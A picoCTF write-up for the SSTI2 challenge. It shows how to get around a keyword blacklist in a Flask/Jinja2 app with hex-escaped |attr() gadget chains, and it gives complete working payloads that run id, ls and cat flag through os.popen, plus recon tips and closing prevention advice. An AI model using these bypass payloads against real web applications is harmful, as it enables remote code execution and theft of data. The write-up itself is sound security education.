Description
SSTI2 filters obvious characters, so the simple cycler trick no longer works. Pivot to attribute lookups (hex-escaped to bypass the blacklist) and import os through Flask's application object.
Setup
First confirm SSTI is alive: submit {{7*7}}. The page renders 49 just like SSTI1.
Then submit the SSTI1 payload "{{ cycler.__init__.__globals__.os.popen('id').read() }}". The server now replaces it with "Stop trying to break me >:(", which proves a keyword filter is in play.
Grab the Flask exploitation gadget from payloadbox or your own notes and plan to hex-encode forbidden characters (replace each forbidden underscore with \x5f, etc.).
Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Abuse Flask's application globalsObservationI noticed the server rejected the SSTI1 cycler payload with 'Stop trying to break me >:(' instead of rendering the output, which indicated a keyword blacklist blocking literal substrings like__globals__andcycler, suggesting I needed to reach the os module through a Flask-specific gadget chain using hex-encoded attribute names to avoid matching any banned substring.Use the payloadbox gadget to drill intorequest.application.__globals__['__builtins__']['__import__']('os'). Hex-encoding the underscores (\x5f) dodges the filter and gives you a reference to theosmodule.bash{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}What didn't work first
Tried: Trying the SSTI1 cycler payload directly: {{ cycler.__init__.__globals__.os.popen('id').read() }}
The server responds with 'Stop trying to break me >:(' because the filter blocks the literal substrings '__globals__' and 'cycler'. The filter matches on the raw template text before rendering, so any payload containing those exact character sequences is rejected. The hex-encoded |attr() chain avoids these exact strings while producing the same attribute lookups at runtime.
Tried: Using bracket notation with quoted underscores instead of hex: request['application']['__globals__']['__builtins__']['__import__']('os')
Bracket notation with a plaintext string like '__globals__' still contains the literal substring '__globals__', so the keyword filter catches and blocks it just like dot notation. The hex escape \x5f is what prevents the filter from finding the underscore-underscore pattern - the source text never contains '__globals__' at all when hex encoding is used.
Learn more
Filter bypasses are the core skill tested in SSTI2. Naive SSTI filters typically blacklist keywords like
__class__,__mro__,__globals__,import, andosas literal strings. About the hex escape specifically: in your payload,\x5fis four literal characters (a backslash, anx, a5, and anf); Jinja2 treats it as a normal Python string literal and decodes it to_(byte 0x5f) before the lookup happens. There is no separate decode step you have to perform; the engine does the conversion automatically, which is exactly what defeats a string filter that only matches the literal substring__globals__.Jinja2 supports multiple ways to express the same attribute lookup, and a string-match filter has to block every form to be effective. The four common ones, with the same goal of reaching
__globals__:- Dot notation:
request.application.__globals__. Blocked by any filter matching the literal__globals__. - Bracket + quoted string:
request['application']['__globals__']. Also blocked if the filter scans the rendered template text for__globals__. - Bracket + hex string:
request['application']['\x5f\x5fglobals\x5f\x5f']. Often bypasses; the literal source no longer contains__globals__. |attr()+ hex string:request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f'). The form used in the payload above; combines dynamic-string getattr with the hex bypass.
The
request.applicationchain is Flask-specific.requestis auto-exposed by Flask in every Jinja2 template context; standalone Jinja2 (without Flask) wouldn't have it.request.applicationreturns the Flask app object, whose__globals__dict reaches__builtins__and from there__import__. If the target weren't Flask, you'd substitute a different always-present object (config,self, or any user-supplied data carrying a function reference).The
|attr()Jinja2 filter is equivalent to Python'sgetattr(). Using it instead of dot notation lets you pass dynamic strings (including hex-escaped ones) as attribute names, which string-matching filters cannot block without also blocking legitimate template use. Advanced filters use abstract syntax tree (AST) analysis instead of string matching, which closes this bypass at the source-text level. AST analysis still doesn't kill the vulnerability though: an MRO walk like().__class__.__bases__[0].__subclasses__()reachesobjectvia inherited methods, then enumerates every loaded subclass to find one whose__init__exposes a useful module reference. AST-level filters detect the keyword chain but typically can't prove the resulting reference is dangerous without whole-program analysis. Web challenges and real-world bug patterns walks through other places where keyword blacklists fail.- Dot notation:
Step 2
List the directoryObservationI noticed that theidcommand returned uid output confirming successful remote code execution through the hex-encoded payload, which suggested the next step was runninglsin the Flask app's working directory to locate the flag file before attempting to read it.Swap the command fromidtolsto verify the flag file's presence alongsideapp.pyandrequirements.txt.bash{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}What didn't work first
Tried: Skipping the 'id' confirmation step and going straight to 'cat flag' after the first successful bypass
If the payload has a subtle typo or a hex-encoding mistake, 'cat flag' produces no output and it is unclear whether the file doesn't exist, the command failed, or the payload itself is broken. Running 'id' first gives an unambiguous output (uid=...) that confirms command execution is working correctly before moving to file reads.
Tried: Using 'ls -la' or 'find / -name flag*' to locate the flag when 'ls' shows no flag file
In this challenge the flag file sits in the Flask app's working directory, so plain 'ls' reveals it. Jumping to a recursive find command is unnecessary here and produces a large output that can be hard to read through the template rendering. If the file were missing from the current directory, 'ls /app', 'ls /home', or 'find / -name flag 2>/dev/null' would be the correct escalation.
Learn more
Running
idfirst is standard practice in CTF web exploitation; it confirms that command execution is working and reveals the effective user (usuallywww-dataor a service account). Only then do you escalate to reading sensitive files, avoiding wasted effort if the first command fails due to a subtle payload mistake.lswithout arguments lists the current working directory, which for a Flask application is typically the directory containingapp.py. Files likeflag,flag.txt, orsecret.txtin the same directory are common picoCTF patterns. If the flag isn't in the current directory,ls /,ls /home, andfind / -name 'flag*' 2>/dev/nullare the standard next steps. The Linux CLI for CTF guide has a longer recon checklist.In real penetration tests, post-exploitation reconnaissance follows a similar escalation: confirm execution, identify the user context and OS, map the filesystem for sensitive files (credentials, keys, configuration), check for lateral movement opportunities (network interfaces, accessible services), and document everything for the final report. The skills practiced in CTF web challenges map directly to this professional workflow.
Step 3
Print the flagObservationI noticed thatlsoutput showed a file namedflagsitting alongsideapp.pyin the Flask app's working directory, which confirmed the flag was directly readable by swapping thelscommand forcat flagin the same hex-encoded payload chain.Finally, replace the command withcat flag. The rendered response includes the picoCTF flag even though the server tried to sanitize the input.bash{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}Expected output
picoCTF{sst1_f1lt3r_byp4ss_8b53...}Learn more
The SSTI2 challenge illustrates a fundamental truth about input validation: blacklists always fail. There are infinitely many ways to express the same operation - different attribute access syntax, encoding variants, alternative gadget chains through different objects - and a filter must block every one of them. Attackers only need to find one that slips through. The secure alternative is a whitelist approach or, better, architectural changes that eliminate the vulnerability class entirely.
The hierarchy of SSTI defenses from weakest to strongest: (1) string blacklisting (trivially bypassed), (2) regex blacklisting (harder but bypassable), (3) AST-level analysis (blocks most known gadgets but research continues to find new ones), (4) sandboxed template environment (significantly reduces attack surface), (5) eliminate user-controlled template rendering entirely (the only reliable fix). Real-world applications that genuinely need user-defined templates (like Shopify themes or email template editors) typically use custom DSLs with a deliberately limited feature set rather than general-purpose template engines.
After solving SSTI1 and SSTI2, the natural next step is exploring filter bypasses for other Jinja2 attributes like
lipsum,namespace, andjoinerglobal objects, or chaining through MRO (Method Resolution Order) to access base classes. Resources like HackTricks SSTI, PayloadAllTheThings, and the annual SSTI research from PortSwigger Web Security Academy keep pace with evolving bypass techniques.
Interactive tools
- Reverse Shell GeneratorGenerate reverse shell payloads (bash, nc, python, perl, ruby, php, node, powershell) and matching listeners. Set host and port once, copy any variant.
Flag
Reveal flag
picoCTF{sst1_f1lt3r_byp4ss_8b53...}
Any gadget chain that reaches builtins works; the payloadbox example just saves time.
Key takeaway
How to prevent this
How to prevent this
SSTI2 is a tour of why blacklists fail. The fix is architectural, not lexical.
- Stop trying to filter dangerous strings. Hex escapes, attribute filters, MRO walks, and Unicode tricks all bypass keyword blocklists. The string allowlist that's broad enough to be useful is broad enough to be exploited.
- Render user content as data, not template. If you must accept template-like input, use
SandboxedEnvironmentwith a strictsafe_attributespolicy and never exposerequest,config, or anything carrying__globals__. - For products that need user-authored templates (email builders, themes), build a tiny DSL with a fixed grammar (Liquid-style) instead of leasing out a general-purpose Python template engine. Shopify and Mailchimp do this for exactly this reason.